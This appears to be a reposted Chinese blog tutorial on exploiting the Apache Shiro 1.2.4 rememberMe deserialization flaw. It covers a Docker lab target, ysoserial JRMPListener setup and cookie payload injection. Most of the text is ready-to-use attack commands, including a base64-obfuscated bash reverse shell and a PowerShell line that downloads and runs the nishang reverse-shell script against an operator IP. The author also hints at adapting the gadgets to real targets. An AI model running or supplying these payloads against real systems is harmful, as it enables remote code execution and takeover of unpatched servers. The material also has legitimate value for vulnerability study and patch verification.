zoukankan      html  css  js  c++  java
  • shiro Remember 1.2.4反序列化漏洞

    前言

    Apache Shiro 是企业常见的Java安全框架,执行身份验证、授权、密码和会话管理。2016年,曝光出1.2.4以前的版本存在反序列化漏洞。
    当shiro <=1.2.4 AES的密钥(CookieRememberMeManager)是默认的,就导致了攻击者可以构造恶意数据造成反序列化的RCE。因为aes的密钥是以硬编码方式写入在程序源码中,严格来说,只要得到aes的密钥就可以进行反序列化。

    cookie处理流程:
    shiro 将cookie中的rememberMe字段内容分别进行序列化、AES加、Base64编码得到cookie值,其处理cookie(cookie解密)的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。

    环境搭建

    使用docker镜像

    docker pull medicean/vulapps:s_shiro_1
    docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
    

    靶场

    当响应头中cookie中含有rememberMe=deleteMe就是shiro框架

    漏洞复现

    1.使用vps监控JRMP端口
    注意:必须是公网地址,目标会链接jrmp服务
    真实环境是CommonsCollections5,随机应变,一般范围1-5
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "命令"

    2.构造payload

    python shiro.py x.x.x.x:1099

    3.将payload放入cookie参数中

    可以看到漏洞成功后,jmrp服务中会又连接

    payload

    linux反弹shell:

    
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 'bash -c       {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC4xLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'
    

    windows使用powershell反弹shell:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.228.1 -port 2333"`
    
  • 相关阅读:
    7--docker-compose详解
    6--容器数据卷,发布镜像,Docker小结
    5-- Dockerfile 搭建 博客系统
    4--Docker之Dockerfile镜像定制
    3--Docker网络 ; Docker图形化界面
    2--Docker容器相关命令
    1--docker介绍、安装; docker镜像相关命令
    2、函数的核心内容
    1、函数的基本使用
    7、文件操作方法
  • 原文地址:https://www.cnblogs.com/supdon/p/13469077.html
Copyright © 2011-2022 走看看